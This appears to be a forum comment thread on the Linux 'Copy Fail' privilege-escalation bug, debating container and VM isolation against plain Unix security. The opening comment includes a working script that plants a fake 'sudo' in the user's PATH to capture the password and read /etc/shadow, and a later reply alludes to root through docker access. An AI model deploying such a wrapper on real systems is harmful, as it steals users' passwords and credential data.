Linux distributions do not need Copy Fail to get root access:
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
mkdir -p .local/bin/
cat <<EOF >.local/bin/sudo
read -rs -p "[sudo] password for $USER: " PASSWORD
echo ""
echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
EOF
chmod +x .local/bin/sudo
attack on next sudo call, shows data accessible only to root.Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:
$ docker run -it -v.:/app -w /app node:alpine /bin/sh
long term environments defined in docker compose: $ docker-compose.yml
services:
app:
image: node:alpine
volumes:
- .:/app
working_dir: /app
command: /bin/sh
$ docker compose run app
switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.
These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer.
It's quite different from PATH-injecting an already privileged user.
Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.
It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.
Copy Fail can't affect files it can't access.
PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].
[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...
Containerizing every app is what iOS / iPadOS already do.
It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.
If `docker` is already there, why even bother with `sudo` when you can just:
Chances are that the person who set up Docker didn't do it properly.Run in docker container:
I've described attack from host user and isolating attacker with docker.